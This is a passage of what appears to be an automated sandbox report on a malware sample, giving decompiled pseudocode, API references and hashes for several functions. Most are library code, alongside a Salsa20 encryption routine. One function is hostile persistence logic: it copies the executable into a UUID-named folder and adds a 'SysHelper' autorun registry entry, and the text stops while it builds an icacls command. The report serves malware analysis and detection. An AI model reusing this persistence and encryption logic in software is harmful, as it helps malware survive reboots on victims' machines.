				if(_t28 != 0 &&  *_t28 != 0 && E00437413(_t28, ?str?) != 0) {
					if(E00437413(_t28, ?str?) != 0) {
						return E00423C92(_t28);
					}
					if(GetLocaleInfoW( *(_a8 + 8), 0x2000000b,  &_a4, 2) == 0) {
						L9:
						return 0;
					}
					return _a4;
				}
				if(GetLocaleInfoW( *(_a8 + 8), 0x20001004,  &_a4, 2) == 0) {
					goto L9;
				}
				_t13 = _a4;
				if(_t13 == 0) {
					return GetACP();
				}
				return _t13;
			}

0x004382a6
0x004382ab
0x004382d3
0x00000000
0x004382fc
0x004382ee
0x0043831a
0x00000000
0x0043831a
0x00000000
0x004382f0
0x00438318
0x00000000
0x00000000
0x0043831e
0x00438323
0x00438327
0x00438327
0x004382f5

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280
COMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E0040C070(intOrPtr __ecx, void* __edx, void* __esi, signed int* _a4, signed char* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				char _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				intOrPtr _v128;
				char _v190;
				void* __ebx;
				void* __edi;
				intOrPtr _t174;
				signed int _t186;
				signed int _t217;
				signed int _t219;
				signed int _t225;
				signed int _t229;
				signed int _t235;
				signed int _t237;
				void* _t244;
				intOrPtr _t248;
				signed char _t250;
				signed int _t252;
				signed int _t254;
				signed int _t255;
				signed int _t256;
				signed int _t258;
				signed int _t260;
				signed int _t262;
				signed int _t264;
				signed int _t266;
				signed int _t268;
				signed int _t269;
				signed int _t270;
				signed int* _t272;
				signed int _t276;
				signed int _t277;
				intOrPtr _t284;
				void* _t285;
				void* _t286;
				signed int _t288;
				signed int _t289;
				unsigned int _t290;
				intOrPtr _t292;
				signed char* _t293;
				signed int _t294;
				signed int _t295;
				signed char* _t296;
				void* _t297;
				signed int _t298;
				signed int _t299;
				char* _t301;
				void* _t303;
				void* _t305;
				void* _t313;

				_t297 = __esi;
				_t286 = __edx;
				_t251 = _a4;
				_t174 = __ecx;
				_v56 = __ecx;
				_t293 = _a8;
				if(_a4 == 0) {
					L2:
					_push(0x7a);
					E004211DD(_t251, _t286, _t293, _t297, _t309, L"input != nullptr && output != nullptr", L"e:\\doc\\my work (c++)\\_git\\encryption\\encryptionwinapi\\Salsa20.inl");
					_t174 = _v56;
				} else {
					_t309 = _t293;
					if(_t293 == 0) {
						goto L2;
					}
				}
				if(_a12 != 0) {
					_v128 = _t174 -  &_v190;
					_push(_t297);
					do {
						asm("movdqu xmm0, [eax]");
						_v60 = 0xa;
						asm("movdqu [ebp-0x78], xmm0");
						asm("movdqu xmm0, [eax+0x10]");
						asm("movdqu [ebp-0x68], xmm0");
						asm("movdqu xmm0, [eax+0x20]");
						asm("movdqu [ebp-0x58], xmm0");
						_t294 = _v80;
						asm("movdqu xmm0, [eax+0x30]");
						_v8 = _v84;
						_v36 = _v88;
						_v16 = _v92;
						_v48 = _v96;
						_v44 = _v100;
						_v32 = _v104;
						_v12 = _v108;
						_v40 = _v112;
						asm("movdqu [ebp-0x48], xmm0");
						_t252 = _v76;
						_t276 = _v64;
						_t288 = _v68;
						_t298 = _v72;
						_v28 = _v116;
						_v24 = _v120;
						_t186 = _v124;
						_v52 = _t252;
						_v20 = _t186;
						do {
							asm("rol eax, 0x7");
							_v12 = _v12 ^ _t186 + _t252;
							asm("rol eax, 0x9");
							_v16 = _v16 ^ _v12 + _v20;
							asm("rol eax, 0xd");
							_t254 = _v52 ^ _v16 + _v12;
							_v52 = _t254;
							asm("ror eax, 0xe");
							_v20 = _v20 ^ _v16 + _t254;
							asm("rol eax, 0x7");
							_v36 = _v36 ^ _v24 + _v32;
							asm("rol eax, 0x9");
							_t299 = _t298 ^ _v36 + _v32;
							_t255 = _v44;
							asm("rol eax, 0xd");
							_v24 = _v24 ^ _v36 + _t299;
							asm("ror eax, 0xe");
							_v32 = _v32 ^ _v24 + _t299;
							asm("rol eax, 0x7");
							_t289 = _t288 ^ _v8 + _t255;
							asm("rol eax, 0x9");
							_v28 = _v28 ^ _v8 + _t289;
							asm("rol eax, 0xd");
							_t256 = _t255 ^ _v28 + _t289;
							_v44 = _t256;
							asm("ror eax, 0xe");
							_v8 = _v8 ^ _v28 + _t256;
							asm("rol eax, 0x7");
							_t258 = _v40 ^ _t294 + _t276;
							_v40 = _t258;
							asm("rol eax, 0x9");
							_t260 = _v48 ^ _t258 + _t276;
							_v48 = _t260;
							asm("rol eax, 0xd");
							_t295 = _t294 ^ _v40 + _t260;
							asm("ror eax, 0xe");
							_t277 = _t276 ^ _t260 + _t295;
							asm("rol eax, 0x7");
							_v24 = _v24 ^ _v20 + _v40;
							_t217 = _v24;
							_v120 = _t217;
							asm("rol eax, 0x9");
							_v28 = _v28 ^ _t217 + _v20;
							_t219 = _v28;
							_v116 = _t219;
							asm("rol eax, 0xd");
							_t262 = _v40 ^ _t219 + _v24;
							_v40 = _t262;
							asm("ror eax, 0xe");
							_v112 = _t262;
							_t264 = _v20 ^ _v28 + _t262;
							asm("rol eax, 0x7");
							_v44 = _v44 ^ _v32 + _v12;
							_t225 = _v44;
							_v100 = _t225;
							asm("rol eax, 0x9");
							_v20 = _t264;
							_v124 = _t264;
							_t266 = _v48 ^ _t225 + _v32;
							_v48 = _t266;
							asm("rol eax, 0xd");
							_v12 = _v12 ^ _v44 + _t266;
							_t229 = _v12;
							_v108 = _t229;
							asm("ror eax, 0xe");
							_v96 = _t266;
							_t268 = _v32 ^ _t229 + _t266;
							_v32 = _t268;
							_v104 = _t268;
							_t269 = _v36;
							asm("rol eax, 0x7");
							_t294 = _t295 ^ _v8 + _t269;
							asm("rol eax, 0x9");
							_v16 = _v16 ^ _v8 + _t294;
							_t235 = _v16;
							_v92 = _t235;
							asm("rol eax, 0xd");
							_t270 = _t269 ^ _t235 + _t294;
							_t237 = _t270;
							_v36 = _t270;
							_v88 = _t237;
							asm("ror eax, 0xe");
							_v8 = _v8 ^ _t237 + _v16;
							_v84 = _v8;
							asm("rol eax, 0x7");
							_t252 = _v52 ^ _t277 + _t289;
							_v52 = _t252;
							_v76 = _t252;
							asm("rol eax, 0x9");
							_t298 = _t299 ^ _t277 + _t252;
							asm("rol eax, 0xd");
							_t288 = _t289 ^ _t298 + _t252;
							asm("ror eax, 0xe");
							_t276 = _t277 ^ _t288 + _t298;
							_t138 =  &_v60;
							 *_t138 = _v60 - 1;
							_t186 = _v20;
						} while ( *_t138 != 0);
						_t272 = _a4;
						_t244 = 0;
						_v80 = _t294;
						_t296 = _a8;
						_v64 = _t276;
						_v68 = _t288;
						_v72 = _t298;
						do {
							_t301 =  &_v190 + _t244;
							 *(_t305 + _t244 - 0x78) =  *(_t305 + _t244 - 0x78) +  *((intOrPtr*)(_t301 + _v128));
							_t290 =  *(_t305 + _t244 - 0x78);
							 *((char*)(_t301 - 1)) = _t290 >> 8;
							 *(_t305 + _t244 - 0xbc) = _t290;
							_t244 = _t244 + 4;
							 *_t301 = _t290 >> 0x10;
							 *((char*)(_t301 + 1)) = _t290 >> 0x18;
							_t313 = _t244 - 0x40;
						} while (_t313 < 0);
						_t284 = _v56;
						_t292 = _a12;
						 *((intOrPtr*)(_t284 + 0x20)) =  *((intOrPtr*)(_t284 + 0x20)) + 1;
						 *((intOrPtr*)(_t284 + 0x24)) =  *((intOrPtr*)(_t284 + 0x24)) + (0 | _t313 == 0x00000000);
						_t303 =  >=  ? 0x40 : _t292;
						_t285 = 0;
						if(_t303 == 0) {
							goto L12;
						} else {
							goto L10;
						}
						do {
							L10:
							_t292 = _t292 - 1;
							_t250 =  *(_t305 + _t285 - 0xbc) ^  *_t272;
							_t285 = _t285 + 1;
							 *_t296 = _t250;
							_t272 =  &(_t272[0]);
							_t296 =  &(_t296[1]);
						} while (_t285 < _t303);
						_a12 = _t292;
						_a4 = _t272;
						_a8 = _t296;
						L12:
						_t248 = _v56;
					} while (_t292 != 0);
					return _t248;
				}
				return _t174;
			}

0x0040c070
0x0040c070
0x0040c07a
0x0040c07d
0x0040c07f
0x0040c083
0x0040c088
0x0040c08e
0x0040c08e
0x0040c09a
0x0040c09f
0x0040c08a
0x0040c08a
0x0040c08c
0x00000000
0x00000000
0x0040c08c
0x0040c0a9
0x0040c0b9
0x0040c0bc
0x0040c0c0
0x0040c0c0
0x0040c0c4
0x0040c0cb
0x0040c0d0
0x0040c0d5
0x0040c0da
0x0040c0df
0x0040c0e4
0x0040c0e7
0x0040c0ef
0x0040c0f5
0x0040c0fb
0x0040c101
0x0040c107
0x0040c10d
0x0040c113
0x0040c119
0x0040c11f
0x0040c124
0x0040c127
0x0040c12a
0x0040c12d
0x0040c130
0x0040c136
0x0040c139
0x0040c13c
0x0040c13f
0x0040c142
0x0040c147
0x0040c14a
0x0040c153
0x0040c156
0x0040c15f
0x0040c162
0x0040c169
0x0040c16c
0x0040c16f
0x0040c178
0x0040c17b
0x0040c184
0x0040c187
0x0040c189
0x0040c191
0x0040c194
0x0040c19c
0x0040c19f
0x0040c1a7
0x0040c1aa
0x0040c1b1
0x0040c1b4
0x0040c1bc
0x0040c1bf
0x0040c1c6
0x0040c1cc
0x0040c1cf
0x0040c1d5
0x0040c1d8
0x0040c1da
0x0040c1e3
0x0040c1e6
0x0040c1ed
0x0040c1f0
0x0040c1f3
0x0040c1f8
0x0040c1fb
0x0040c203
0x0040c206
0x0040c209
0x0040c20c
0x0040c212
0x0040c215
0x0040c218
0x0040c21b
0x0040c221
0x0040c227
0x0040c22e
0x0040c231
0x0040c234
0x0040c23a
0x0040c242
0x0040c245
0x0040c248
0x0040c24b
0x0040c251
0x0040c254
0x0040c257
0x0040c25d
0x0040c264
0x0040c267
0x0040c26a
0x0040c26d
0x0040c270
0x0040c275
0x0040c278
0x0040c27e
0x0040c283
0x0040c286
0x0040c289
0x0040c28e
0x0040c291
0x0040c298
0x0040c29b
0x0040c29e
0x0040c2a1
0x0040c2a6
0x0040c2a9
0x0040c2ab
0x0040c2ad
0x0040c2b3
0x0040c2b9
0x0040c2bc
0x0040c2c2
0x0040c2c8
0x0040c2cb
0x0040c2cd
0x0040c2d0
0x0040c2d6
0x0040c2d9
0x0040c2de
0x0040c2e1
0x0040c2e6
0x0040c2e9
0x0040c2eb
0x0040c2eb
0x0040c2ee
0x0040c2ee
0x0040c2f7
0x0040c2fa
0x0040c2fc
0x0040c2ff
0x0040c302
0x0040c305
0x0040c308
0x0040c310
0x0040c319
0x0040c31e
0x0040c322
0x0040c32b
0x0040c330
0x0040c337
0x0040c340
0x0040c342
0x0040c345
0x0040c345
0x0040c34a
0x0040c352
0x0040c357
0x0040c35d
0x0040c368
0x0040c36b
0x0040c36f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c371
0x0040c371
0x0040c378
0x0040c379
0x0040c37b
0x0040c37c
0x0040c37e
0x0040c37f
0x0040c380
0x0040c384
0x0040c387
0x0040c38a
0x0040c38d
0x0040c38d
0x0040c390
0x00000000
0x0040c398
0x0040c39e

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 74%

			E00424168(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				char _v800;
				signed int _v804;
				intOrPtr _v808;
				char _v812;
				void* __edi;
				signed int _t41;
				char* _t46;
				char* _t48;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t59 = __ebx;
				_t41 =  *0x50ad20; // 0xd964a3b
				_t42 = _t41 ^ _t69;
				_v8 = _t41 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E00432A69(_t42);
					_pop(_t60);
				}
				_v804 = _v804 & 0x00000000;
				E0042B420( &_v800, 0, 0x4c);
				_v812 =  &_v804;
				_t46 =  &_v724;
				_v808 = _t46;
				_v548 = _t46;
				_v552 = _t60;
				_v556 = _t65;
				_v560 = _t59;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t23);
				_v540 = _v0;
				_t48 =  &_v0;
				_v528 = _t48;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t48 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				if(E004329EC( &_v812) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					E00432A69(_t55);
				}
				return E0042A77E(_t59, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x00424168
0x00424168
0x00424168
0x00424171
0x00424176
0x00424178
0x00424180
0x00424182
0x00424185
0x0042418a
0x0042418a
0x0042418b
0x0042419d
0x004241ab
0x004241b1
0x004241b7
0x004241bd
0x004241c3
0x004241c9
0x004241cf
0x004241d5
0x004241db
0x004241e1
0x004241e8
0x004241ef
0x004241f6
0x004241fd
0x00424204
0x0042420b
0x0042420c
0x00424215
0x0042421b
0x0042421e
0x00424224
0x00424231
0x0042423a
0x00424243
0x0042424c
0x00424258
0x00424269
0x00424275
0x00424278
0x0042427d
0x0042428c

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Uniqueness

Uniqueness Score: -1.00%

Function 004329EC Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004329EC(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				return UnhandledExceptionFilter(_a4);
			}

0x004329f1
0x00432a01

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00424266,?,?,?,00000001), ref: 004329F1
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 004329FA

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 957f1cdd405d7a5f8fcfad9397a47528ed4c184e5d77963140c17adbcc220f91
Instruction ID: d7915fe9b98f2e2675b1eb18c11ae3c40c3bb41b36f5f7d781b256b54fe46c91
Opcode Fuzzy Hash: 957f1cdd405d7a5f8fcfad9397a47528ed4c184e5d77963140c17adbcc220f91
Instruction Fuzzy Hash: A7B09271044208ABDA802B93EC59F883F28EB04A62F084022F60D444628F6254508E99

Uniqueness

Uniqueness Score: -1.00%

Function 004387C8 Relevance: 1.5, APIs: 1, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E004387C8(signed int _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _t5;
				signed int _t6;
				int _t8;

				_t5 =  *0x5292d8; // 0x79e70ceb
				_t6 = _t5 ^  *0x50ad20;
				if(_t6 == 0) {
					 *0x511344 = _a4;
					_t8 = EnumSystemLocalesW(E004387B4, 1);
					 *0x511344 =  *0x511344 & 0x00000000;
					return _t8;
				} else {
					return  *_t6(_a4, _a8, _a12, 0);
				}
			}

0x004387cb
0x004387d0
0x004387d6
0x004387f1
0x004387f6
0x004387fc
0x00438804
0x004387d8
0x004387e6
0x004387e6

APIs

EnumSystemLocalesW.KERNEL32(004387B4,00000001,?,004376BC,0043775A,00000003,00000000,?,?,00000000,00000000,00000000,00000000,00000000), ref: 004387F6

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 76856dd23a8d71a9a59fa0d60a1051abde5b3be4023d9c7dc77f759e2ff7a53d
Instruction ID: e2c19f37e5f1fa56fd16d2c75426893bf8b780345540c0397aa12dc95392e8cd
Opcode Fuzzy Hash: 76856dd23a8d71a9a59fa0d60a1051abde5b3be4023d9c7dc77f759e2ff7a53d
Instruction Fuzzy Hash: 4DE08C32150308FBCF21CFA0EC41FD83BA6BB58710F104419F61C4AA60CB71A964EB48

Uniqueness

Uniqueness Score: -1.00%

Function 0043884E Relevance: 1.5, APIs: 1, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,20001004,?,0042580F,?,0042580F,?,20001004,?,00000002,?,00000004,?,00000000), ref: 00438875

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 226e58c457aad325719b948ae6d91a641da7dcd0d883941e63e1cbc8cb95818f
Instruction ID: 4201596fe771204303fc80694ffa3c51b65a798dd9aa63856d52ff29377aa1ed
Opcode Fuzzy Hash: 226e58c457aad325719b948ae6d91a641da7dcd0d883941e63e1cbc8cb95818f
Instruction Fuzzy Hash: 7ED0173200020CFF8F01AFE1EC45C6A7B69FF0C314B180409FA1C45120DA36A820EB25

Uniqueness

Uniqueness Score: -1.00%

Function 004329BB Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004329BB(_Unknown_base(*)()* _a4) {

				return SetUnhandledExceptionFilter(_a4);
			}

0x004329c8

APIs

SetUnhandledExceptionFilter.KERNEL32(?,?,00431DA6,00431D5B), ref: 004329C1

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1db6f696b6536d5221d2cbd00a2ff6cb8be2218350df980964d78d67e6efdd32
Instruction ID: cc44753b31e70f30ed06b04cde14f86973f8491ae5a0d649e7a5859f7922213d
Opcode Fuzzy Hash: 1db6f696b6536d5221d2cbd00a2ff6cb8be2218350df980964d78d67e6efdd32
Instruction Fuzzy Hash: 69A0113000020CAB8A002B83EC088883F2CEA002A0B088022F80C008228B22A8208E88

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00411CD0(void* __ebx, void* __edx, intOrPtr _a4) {
				long _v8;
				intOrPtr _v16;
				WCHAR* _v24;
				void* _v28;
				void* _v32;
				int _v36;
				intOrPtr _v40;
				WCHAR* _v44;
				char _v60;
				int _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				char _v88;
				int _v92;
				intOrPtr _v96;
				WCHAR* _v100;
				char _v116;
				intOrPtr _v120;
				char _v140;
				struct _PROCESS_INFORMATION _v156;
				char _v172;
				struct _STARTUPINFOW _v248;
				short _v2296;
				char _v4342;
				short _v4344;
				char _v6390;
				char _v6392;
				short _v8440;
				short _v12536;
				void* __edi;
				void* __esi;
				void* __ebp;
				int _t124;
				intOrPtr _t133;
				_Unknown_base(*)()* _t137;
				short _t150;
				intOrPtr _t160;
				long _t171;
				intOrPtr _t207;
				void* _t213;
				void* _t221;
				intOrPtr* _t223;
				signed int _t225;
				WCHAR* _t228;
				signed int _t230;
				intOrPtr* _t232;
				signed int _t234;
				intOrPtr* _t237;
				signed int _t239;
				intOrPtr _t242;
				void* _t245;
				WCHAR* _t246;
				void* _t247;
				void* _t248;
				void* _t250;
				void* _t253;
				void* _t257;
				intOrPtr _t263;
				void* _t264;
				void* _t266;

				_t221 = __ebx;
				_push(0xffffffff);
				_push(0x4cac68);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t263;
				E0042F7C0(0x30e8);
				_push(_t253);
				_v32 = 0;
				_t250 = __edx;
				_t124 = RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0xf003f,  &_v32);
				if(_t124 != 0) {
					L50:
					 *[fs:0x0] = _v16;
					return _t124;
				}
				_v6392 = _t124;
				_v36 = 1;
				E0042B420( &_v6390, _t124, 0x7fe);
				_t264 = _t263 + 0xc;
				_v64 = 0x400;
				RegQueryValueExW(_v32, L"SysHelper", 0,  &_v36,  &_v6392,  &_v64);
				RegCloseKey(_v32);
				_v40 = 7;
				_v44 = 0;
				_v60 = 0;
				if(_v6392 != 0) {
					_t223 =  &_v6392;
					_t245 = _t223 + 2;
					do {
						_t133 =  *_t223;
						_t223 = _t223 + 2;
					} while (_t133 != 0);
					_t225 = _t223 - _t245 >> 1;
					L6:
					_push(_t225);
					E00415C10(_t221,  &_v60, _t250, _t253,  &_v6392);
					_v8 = 0;
					_t255 = _v44;
					if(_v44 == 0) {
						L19:
						_v8 = 0xffffffff;
						if(_v40 >= 8) {
							L00422587(_v60);
							_t264 = _t264 + 4;
						}
						_t137 = GetProcAddress(LoadLibraryW(L"Shell32.dll"), "SHGetFolderPathW");
						_t256 = _t137;
						_v92 = 0;
						lstrcpyW( &_v8440,  *(CommandLineToArgvW(GetCommandLineW(),  &_v92)));
						_v36 = PathFindFileNameW( &_v8440);
						 *_t137(0, 0x1c, 0, 0,  &_v2296);
						__imp__UuidCreate( &_v172);
						_v24 = 0;
						__imp__UuidToStringW( &_v172,  &_v24);
						_t246 = _v24;
						_v96 = 7;
						_v100 = 0;
						_v116 = 0;
						if( *_t246 != 0) {
							_t228 = _t246;
							_t57 =  &(_t228[1]); // 0x2
							_t256 = _t57;
							do {
								_t150 =  *_t228;
								_t228 =  &(_t228[1]);
							} while (_t150 != 0);
							_t230 = _t228 - _t256 >> 1;
							goto L26;
						} else {
							_t230 = 0;
							L26:
							E00415C10(_t221,  &_v116, _t250, _t256, _t246);
							_v8 = 1;
							__imp__RpcStringFreeW( &_v24, _t230);
							_t257 = PathAppendW;
							_t154 =  >=  ? _v116 :  &_v116;
							PathAppendW( &_v2296,  >=  ? _v116 :  &_v116);
							CreateDirectoryW( &_v2296, 0);
							if(_t250 == 0) {
								L33:
								_v68 = 7;
								_v72 = 0;
								_v88 = 0;
								if(_v2296 != 0) {
									_t232 =  &_v2296;
									_t247 = _t232 + 2;
									do {
										_t160 =  *_t232;
										_t232 = _t232 + 2;
									} while (_t160 != 0);
									_t234 = _t232 - _t247 >> 1;
									L38:
									_push(_t234);
									E00415C10(_t221,  &_v88, _t250, _t257,  &_v2296);
									_v8 = 2;
									PathAppendW( &_v2296, _v36);
									DeleteFileW( &_v2296);
									CopyFileW( &_v8440,  &_v2296, 0);
									_v28 = 0;
									_t171 = RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0xf003f,  &_v28);
									if(_t171 != 0) {
										L45:
										if(_v68 >= 8) {
											L00422587(_v88);
											_t264 = _t264 + 4;
										}
										_t124 = 0;
										_v68 = 7;
										_v72 = 0;
										_v88 = 0;
										if(_v96 >= 8) {
											_push(_v116);
											L49:
											_t124 = L00422587();
										}
										goto L50;
									}
									_v4344 = _t171;
									E0042B420( &_v4342, _t171, 0x7fe);
									_t266 = _t264 + 0xc;
									lstrcpyW( &_v4344, "\"");
									lstrcatW( &_v4344,  &_v2296);
									lstrcatW( &_v4344, L"\" --AutoStart");
									RegSetValueExW(_v28, L"SysHelper", 0, 2,  &_v4344, lstrlenW( &_v4344) + _t183);
									RegCloseKey(_v28);
									_t236 = _a4;
									if(_a4 != 0) {
										E00413260(_t236, lstrcpyW,  &_v2296);
									}
									E0042B420( &_v248, 0, 0x44);
									_t264 = _t266 + 0xc;
									_v248.cb = 0x44;
									_v248.dwFlags = 1;
									_v248.wShowWindow = 0;
									SetLastError(0);
									lstrcpyW( &_v12536, L"icacls \"");
									_t194 =  >=  ? _v88 :  &_v88;
									lstrcatW( &_v12536,  >=  ? _v88 :  &_v88);
